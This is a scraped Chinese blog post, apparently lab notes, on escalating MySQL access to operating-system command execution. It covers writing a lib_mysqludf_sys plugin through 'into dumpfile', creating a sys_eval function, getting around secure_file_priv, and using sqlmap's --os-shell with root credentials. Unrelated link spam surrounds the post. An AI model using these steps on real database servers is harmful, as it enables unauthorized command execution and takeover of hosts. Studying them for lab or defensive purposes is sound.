当前位置: 首页 > news >正文

苹果cms做的影视网站/关键词检索

苹果cms做的影视网站,关键词检索,网页制作步骤php,门户网站建设基本情况mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第一种:参考文献:https://www.cnblogs.com/zhuyp1015/p/3561470.htmlhttps://www.cnblogs.com/mmx8861/p/9062363.htmlhttps://www.c…
mysql的提权原理就是让mysql能够执行系统命令,而对与mysql的提权主要分为两种:MOF提权和UDF提权第一种:参考文献:https://www.cnblogs.com/zhuyp1015/p/3561470.htmlhttps://www.cnblogs.com/mmx8861/p/9062363.htmlhttps://www.cnblogs.com/ghc666/p/8609067.htmlhttps://www.jianshu.com/p/83855733c749http://vinc.top/2017/04/19/mysql-udf提权linux平台/https://blog.csdn.net/qq_28921653/article/details/541743411实验环境:ubuntu 18.04tl

首相需要安装mysql,在ubuntu上按装挺简单的的,只需要几个命令就ok了,顺便记一下mysql的密码修改。

sudo apt-get updatesudo apt-get install mysql-serverapt-get install mysql-clientsudo apt-get install libmysqlclient-devmyslqset password for root@localhost = password('密码'); 

现在mysql就安装成功了,接下来就是关于mysql的提权问题

若mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/若mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

这里我用的是ubuntu进行复现的,mysql版本>5.2

下载lib_mysqludf_sys程序

github:https://github.com/mysqludf/lib_mysqludf_sys

编译获取lib_mysqludf_sys.so文件

$ gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

如果出现缺少文件的报错

$ sudo apt-get install libmysql++-dev

网上说的可以直接在linux里下载,但是在实验中,缺出现了不知名的错误,我才用的是在windows 里下载解压,然后在传上去

先查看需要插入的路径

mysql> show variables like '%plugin%';

将下载的lib_mysqludf_sys.so文件以16进制写入到plugin_dir路径中,但是ubuntu有一个安全路径,只能写到那个里面,要是调用的话只能是在plugin这个路径下调用,所以直接复制粘贴进去了

mysql> select unhex('7F454C************此处省略n个字9*****') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';(详情请见https://www.jianshu.com/p/83855733c749)

此时出现一个问题:

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

经查询后发现,mysql 默认对导出的目录有权限限制,也就是说使用命令行进行导出的时候,需要指定目录进行操作,

https://blog.csdn.net/u011677147/article/details/64129606https://blog.csdn.net/HHTNAN/article/details/78520511

我们执行

show global variables like '%secure%';

发现

secure_file_priv这个参数用来限制数据导入和导出操作的效果

如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入

而我们查看ubuntu的/usr/lib,发现没有该文件,也就是文件为空,所以我们要修改这个值,这也就意味这在mysql 版本为5.7.6 版本后,若管理员未设置该值时,我们就不能进行导入和导出操作。若是挖洞碰见这个了,目前以我的水平估计就到此位置了。

有位大佬是这样解决这个问题的,当然我按照这个没有解决,由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr.lib/mysql/plugin 路径下的,我就直接将文件粘贴过去了

secure_file_priv1、限制mysqld 不允许导入 | 导出mysqld –secure_file_prive=null2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下mysqld –secure_file_priv=/tmp/3、不对mysqld 的导入 | 导出做限制cat /etc/my.cnf[mysqld]secure_file_priv 当然了,现在修改这个参数修改/etc/mysql/mysql.conf.d/mysqld.cnf文件在末尾添加一句secure_file_priv=即可将数据导出到任意目录

执行第二步

创建需要用的函数

mysql> create function sys_eval returns string soname 'mysqludf.so';

调用函数

mysql> select sys_eval('whoami');

删除函数

mysql> drop function sys_eval;

查看当前用户权限:select * from mysql.user where user=substring_index(user(),'@',1);

@@version_compile_os展示MySQL结构,@@ version_compile_machine展示操作系统的结构:select @@version_compile_os, @@version_compile_machine;

限制条件:

1)mysql root账号弱口令

2)mysql启动账户需要有插件目录的写入权限,例如yum安装的mysql

[root@template tmp]# ls -ald /usr/lib64/mysql/plugin

drwxr-xr-x. 2 root root 4096 4月 25 08:33 /usr/lib64/mysql/plugin

而mysql的默认启动账户是mysql,是没有写入权限的。

第二种方法:

另外MySQL 5.x中增加了system命令,可以直接执行系统命令。

mysql> system whoami;

第三种方法:

(1)sqlmap通过root的账号和密码连接上远程的数据库

(2)sqlmap将udf文件夹下对应系统平台的64位或者32位的动态链接库文件上传到远程数据库的mysql/plugin/目录下

(3)sqlmap用过已经上传的动态链接库文件来调用system函数来执行用户输入的命令

root@kali:~# sqlmap -d "mysql://root:Hehe123456@192.168.192.120:3306/test" --os-shell

剩下的就是输入命令了

第四种:

MOF提权

暂时不会,相关链接:http://www.cnblogs.com/R4v3n/articles/9025499.html

日后会跟新

http://www.lbrq.cn/news/1300951.html

相关文章:

  • 内蒙营销型网站建设/展示型网站设计公司
  • 婚纱摄影网站/美国疫情最新数据消息
  • 如何做慕课网站/网站的网站建设
  • dw网站建设视频下载/sem竞价教程
  • 广州中小学安全教育平台/aso关键词覆盖优化
  • 网站做的app有哪些/天津疫情最新情况
  • 网站设计与运营第二次/直播引流推广方法
  • 哪有网站建设的/网站推广的方法和途径
  • 阿里云个人怎么免费做网站/软件推广怎么赚钱
  • 外贸网站建设公司流程/建网站的公司
  • 沧州做网站的专业公司/百度竞价专员
  • 网站建设的行业代码是多少钱/下载优化大师并安装
  • 来年做那些网站致富/人工智能培训班收费标准
  • v电影主题 wordpress/网站关键词优化排名软件系统
  • 想在自己的网站做支付/请输入搜索关键词
  • 外贸营销型网站制作/seo文章生成器
  • 创建网站需要备案吗/百度爱采购关键词优化
  • 营销型网站建设urkeji/免费长尾词挖掘工具
  • 用帝国cms系统怎么做网站/搜索引擎有哪些好用
  • 最早做视频播放网站/竞价排名什么意思
  • 网站建设销售提点20个点/泉州关键词优化软件
  • 运营网站需要多少钱/360seo
  • wordpress 更新 慢/如何对一个网站进行seo
  • 做网站为什么要买服务器/网店运营教学
  • 互联网站安全服务平台操作指南/免费公司网站建站
  • 苏州保洁/新塘网站seo优化
  • 网站怎么在百度搜到/如何利用网络进行推广和宣传
  • wordpress 小程序/免费seo优化
  • 网站建设的基本术语/网络营销的模式有哪些
  • vs c 网站开发/二维码引流推广的平台
  • Node.js dns 模块深入解析
  • 学习C++、QT---29(QT库中QT事件的介绍和用了几个案例来对事件怎么使用的讲解)
  • Java并发8--并发安全容器详解
  • CityEngine自动化建模
  • 医院各类不良事件上报,PHP+vscode+vue2+element+laravel8+mysql5.7不良事件管理系统源代码,成品源码,不良事件管理系统
  • 社区搜索离线回溯系统设计:架构、挑战与性能优化|得物技术